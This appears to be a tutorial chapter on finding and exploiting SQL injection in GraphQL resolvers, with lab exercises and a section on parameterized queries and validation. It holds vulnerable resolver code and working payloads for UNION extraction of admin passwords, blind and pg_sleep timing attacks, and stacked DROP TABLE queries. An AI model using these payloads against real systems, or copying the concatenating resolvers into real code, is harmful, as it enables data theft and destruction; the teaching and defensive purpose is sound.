GraphQL APIs often translate queries into SQL. When resolvers construct SQL queries dynamically from GraphQL arguments, injection vulnerabilities emerge. This guide covers how to identify and exploit SQL injection in GraphQL contexts.
GraphQL provides a flexible query language for APIs, but the flexibility can introduce vulnerabilities when backend resolvers dynamically build SQL queries from user input.
| Component | Action | Risk |
|---|---|---|
| GraphQL Query | Sent by client | User-controlled input |
| Resolver Function | Processes query | Injection Point Here |
| SQL Query | Dynamically built | Vulnerable to injection |
| Database | Executes query | Data breach risk |
Example 1: Direct Argument Concatenation
// Vulnerable resolver
const resolvers = {
Query: {
user: (parent, args, context) => {
const query = `SELECT * FROM users WHERE id = ${args.id}`
return db.query(query)
}
}
}GraphQL Query:
query {
user(id: "1 OR 1=1") {
name
email
}
}Resulting SQL:
SELECT * FROM users WHERE id = 1 OR 1=1Example 2: Filter Manipulation
// Vulnerable filter handling
const resolvers = {
Query: {
users: (parent, { filter }, context) => {
let query = 'SELECT * FROM users'
if (filter) {
query += ` WHERE ${filter}`
}
return db.query(query)
}
}
}GraphQL Query:
query {
users(filter: "1=1 UNION SELECT * FROM admin") {
name
}
}query GetUser($id: ID!) {
user(id: $id) {
...UserFields
}
}
fragment UserFields on User {
name
email
}Variable Injection:
{
"id": "1' UNION SELECT * FROM admin--"
}Result:
SELECT * FROM users WHERE id = '1' UNION SELECT * FROM admin--'query {
users @include(if: true) {
name
}
}Note: Directives themselves are usually safe, but arguments passed to underlying resolvers may be vulnerable.
query {
users(where: { name: "admin'--", status: "active" }) {
name
}
}Backend Processing:
// Vulnerable: Building WHERE clause from object
let whereClause = Object.entries(args.where)
.map(([key, value]) => `${key} = '${value}'`)
.join(' AND ')Result:
SELECT * FROM users WHERE name = 'admin'--' AND status = 'active'query {
search(criteria: { profile: { bio: "'; DROP TABLE users;--" } }) {
results
}
}{
__schema {
queryType {
fields {
name
args {
name
type {
name
}
}
}
}
}
}What to look for:
- Arguments that become SQL WHERE clauses
- Filter/search parameters
- Raw query strings
- Sort/order parameters
Quote Injection:
query {
user(id: "'") {
name
}
}Boolean Tests:
query {
user(id: "1 AND 1=1") {
name
}
}
query {
user(id: "1 AND 1=2") {
name
}
}Union Tests:
query {
user(id: "1 UNION SELECT 1,2,3") {
name
}
}Error Messages Leak Information:
"Unknown column 'xyz' in 'field list'"
→ MySQL error, column enumeration possible
"syntax error at or near 'UNION'"
→ PostgreSQL, UNION injection possible
query {
user(id: "1 UNION SELECT username,password FROM admin--") {
name
}
}Backend Query:
SELECT name FROM users WHERE id = 1
UNION SELECT username,password FROM admin--'query {
users(filter: "1=1 AND (SELECT SUBSTRING(password,1,1) FROM admin LIMIT 1)='a'") {
name
}
}Detection:
- True condition: Results returned
- False condition: Empty results
query {
user(id: "1 AND (SELECT pg_sleep(5)) IS NULL") {
name
}
}mutation {
updateUser(id: "1'; DROP TABLE logs;--", name: "test") {
success
}
}Result:
UPDATE users SET name = 'test' WHERE id = '1'; DROP TABLE logs;--'// Vulnerable resolver
User.findAll({
order: [['name', req.query.order]]
})Attack:
query {
users(order: "(SELECT pg_sleep(5))") {
name
}
}Result:
ORDER BY name (SELECT pg_sleep(5))query {
posts {
author {
profile(where: { bio: "' OR 1=1--" }) {
bio
}
}
}
}[
{
query: "query { user(id: \"1\") { name } }"
},
{
query: "query { user(id: \"' UNION SELECT * FROM admin--\") { name } }"
}
]query {
user(id: "1") {
...UserFragment
}
}
fragment UserFragment on User {
name
email
# Additional fields injected via resolver
}// Secure with parameterized queries
const resolvers = {
Query: {
user: (parent, args, context) => {
return db.query('SELECT * FROM users WHERE id = ?', [args.id])
}
}
}const { Int } = require('graphql-scalars')
const resolvers = {
Query: {
user: (parent, args) => {
// Validate ID is actually an integer
if (!Number.isInteger(parseInt(args.id))) {
throw new Error('Invalid ID format')
}
// ... parameterized query
}
}
}const { GraphQLScalarType } = require('graphql')
const PositiveInt = new GraphQLScalarType({
name: 'PositiveInt',
serialize: value => value,
parseValue: value => {
if (!Number.isInteger(value) || value <= 0) {
throw new Error('Must be positive integer')
}
return value
}
})const { createComplexityLimitRule } = require('graphql-validation-complexity')
const rules = [
createComplexityLimitRule(1000, {
onComplete: complexity => {
console.log('Query complexity:', complexity)
}
})
]const { NoSchemaIntrospectionCustomRule } = require('graphql')
const server = new ApolloServer({
typeDefs,
resolvers,
validationRules: [NoSchemaIntrospectionCustomRule]
})Setup:
- GraphQL endpoint:
/graphql - Query with user lookup by ID
Task:
- Send introspection query to understand schema
- Test for SQL injection in user query
- Extract admin password using UNION
Payload:
query {
user(id: "1 UNION SELECT username,password FROM admin") {
name
}
}Setup:
- GraphQL search with filter parameter
Task:
- Inject into filter parameter
- Bypass search restrictions
- Extract sensitive data
Payload:
query {
search(filter: "1=1 UNION SELECT * FROM secret_data") {
results
}
}Setup:
- Blind SQL injection in GraphQL user lookup
Task:
- Confirm injection with boolean tests
- Extract data character by character
- Automate with script
Payload:
query {
user(id: "1 AND (SELECT SUBSTRING(password,1,1) FROM admin)='a'") {
name
}
}- GraphQL adds abstraction layer but SQL injection still possible
- Resolvers are the injection point - not the GraphQL layer itself
- Variables and fragments can both carry injection payloads
- Input validation must happen at resolver level
- ORM/parameterized queries prevent injection in resolvers
Continue to 18 - ORM Injection to learn about ORM bypass techniques.